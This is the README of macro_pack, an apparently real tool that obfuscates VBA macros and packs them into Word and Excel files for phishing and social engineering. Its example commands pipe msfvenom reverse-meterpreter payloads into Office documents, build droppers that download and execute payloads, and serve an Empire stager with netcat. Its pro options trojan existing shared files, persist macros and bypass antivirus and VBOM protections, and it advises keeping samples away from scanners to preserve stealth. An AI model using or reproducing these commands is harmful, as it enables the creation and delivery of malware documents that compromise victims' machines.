macro_pack

Short description

The macro_pack is a tool used to automatize obfuscation and generation of MS Office documents for pentest, demo, and social engineering assessments. The goal of macro_pack is to simplify antimalware solutions bypass and automatize the process from vba generation to final Office document generation. It is very simple to use:

No configuration
Everything can be done using a single line of code

The tool is compatible with payloads generated by popular pentest tools (Metasploit, Empire, ...). It is also easy to combine with other tools as it is possible to read input from stdin and have a quiet output to another tool. This tool is written in Python3 and works on both Linux and Windows platform.

Note: Windows platform with genuine MS Office installed is required for Office documents automatic generation or trojan features.

Obfuscation

The tool will use various obfuscation techniques, all automatic. Basic obfuscation (-o option) includes:

Renaming functions
Renaming variables
Removing spaces
Removing comments
Encoding Strings

Note that the main goal of macro_pack obfuscation is not to prevent reverse engineering, it is to prevent antivirus detection.

Ethical use

The macro_pack tool shall only be used by pentester, security researchers, or other people with learning purpose. I condamn all use of security tools for unethical actions (weather these ar legal or illegal). I know this will not prevent usage by malicious people and that is why all features are not publicly released.

About pro mode...

You may notice that not all part of macro_pack is available. Only the community version is available online. I fear the features in the pro version are really too much "weaponizing" the process and I do not want it available to all script kiddies out there. The pro mode includes features such as:

Advance antimalware bypass
VBOM security bypass
Self decoding VBA
MS Office persistance
Trojan existing MS Office documents

I do not know yet what I intend to do with pro mode, release it, keep it for myself, sell it?

Run/Install

Run Windows binary

Get the latest binary from https://github.com/sevagas/macro_pack/releases/
Download binary on PC with genuine Microsoft Office installed.
Open console, CD to binary dir and call the binary, simple as that!

macro_pack.exe --help

Install from sources

Download and install dependencies:

git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

Note: For windows, you also need to download manually pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/

The tool is in python 3 so just start with with your python3 install. ex:

python3 macro_pack.py  --help
# or
python macro_pack.py --help # if python3 is default install

If you want to produce a standalone exe using pyinstaller, double-click on the "build.bat" script on a Windows machine. The resulted macro_pack.exe will be inside the bin directory.

Some examples

macro_pack community

Obfuscate the vba file generated by msfvenom and put result in a new vba file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -v meterobf.vba

Obfuscate Empire stager vba file and generate a MS Word document:

macro_pack.exe -f empire.vba -o -W myDoc.docm

Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)

echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -x "drop.xlsm"

Create a word 97 document containing an obfuscated VBA reverse meterpreter payload inside a share folder:

msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -w \\REMOTE-PC\Share\meter.doc

Download and execute Empire Launcher stager without powershell.exe by using DROPPER_PS template

# 1 Generate a fiez containing Empire lauchcher 
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack  to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -x join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.

macro_pack pro

Trojan the existing shared "report.xlsm" file with a dropper. Macro is obfuscated and mangled to bypass more antiviruses.

echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass -X "E:\accounting\report.xlsm"

Genenerate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate.

msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -f meter.vba  -o --vbom-encode --keep-alive  -W  out.docm

All available options

General options:

    -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option. 
          If no input file is provided, input must be passed via stdin (using a pipe).
    -q, --quiet     Do not display anything on screen, just process request. 
    -o, --obfuscate Obfuscate macro Destroy document readability by changing form,names, and strings
                    Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'
    --obfuscate-form  Modify readability by removing all spaces and comments in VBA
    --obfuscate-strings  Randomly split strings and encode them
    --obfuscate-names Change functions, variables, and constants names  
    -s, --start-function=START_FUNCTION   Entry point of macro file 
        Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open  as the start function
    -t, --template=TEMPLATE_NAME 
        Available templates:
            DROPPER -> Download and exec file
                    -> Example use:  echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -x dropper.xls
            DROPPER2 -> Download and exec file. File attributes are also set to system, readonly, and hidden
                    -> Example use:  echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER2 -o -X dropper.xlsm
            DROPPER_PS -> Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe)
                    -> Example use:  echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -w powpow.doc
                    Note: This payload will download PowerShdll dll from Github.
    -v, --vba-output=VBA_FILE_PATH Output generated vba macro (text format) to given path.
  Notes:
    If no output file is provided, the result will be displayed on stdout.
    Combine this with -q option to pipe only processed result into another program
    ex: macro_pack.exe -f my_vba.vba -o -q | another_app
    Another valid usage is:
    cat input_file.vba | macro_pack.exe -o -q  > output_file.vba

macro_pack Pro only:

    --vbom-encode   Use VBA self encoding to bypass antimalware detection and enable VBOM access (will exploit VBOM self activation vuln).
                  --start-function option may be needed.
    --av-bypass  Use various tricks  efficient to bypass most av (combine with -o for best result)
    --keep-alive    Use with --vbom-encode option. Ensure new app instance will stay alive even when macro has finished
    --persist       Use with --vbom-encode option. Macro will automatically be persisted in application startup path
                    (works with Excel documents only). The macro will then be executed anytime an Excel document is opened (even non-macro documents).
    --trojan       Inject macro in an existing MS office file. Use in conjunction with -x, -X, -w, or -W

Windows only

MS Office document generation requires to be running on Windows machine with genuine MS Office installed.

    -X, --excel-output=EXCEL_FILE_PATH   Generates MS Excel (*.xlsm) file containing the macro.
    -x, --excel97-output=EXCEL_FILE_PATH         Generates MS Excel 97-2003 (*.xls) file containing the macro.
    -W, --word-output=WORD_FILE_PATH     Generates MS Word (.docm) file containing the macro.
    -w, --word97-output=WORD_FILE_PATH   Generates MS Word 97-2003 (.doc) file containing the macro.
    -h, --help   Displays help and exit

Efficiency

The various features were tested against localy installed Antimalware solutions as well as online service. I ran multiple tests with several kind of payloads and macro_pack features. A majority of antivirus will be evaded by the simple "obfuscate" option. Features available in pro mode generally ensure full AV bypass.

Example with Empire VBA stager:

Here are the results of NoDistribute scanner for the regular Empire VBA stager

Here are the results with the macro_pack -o (--obfuscate) option

Warning: Do not submit your samples to online scanner (ex VirusTotal), Its the best way to break your stealth macro. I also suggest you do not submit to non reporting site such as NoDistribute. You cannot be sure what these sites will do with the data you submit. If you have an issue with macro_pack AV detection you can write to us for advice or submit an issue or pull request.

Relevant resources

Blog post about VBA security:

http://blog.sevagas.com/?My-VBA-Bot (write a full VBA RAT, includes how to bypass VBOM protection)

Contact

Feel free to message me on my Twitter account @EmericNasi

License and credits

The Apache License 2.0

clicknull / macro_pack Goto Github PK

macro_pack's Introduction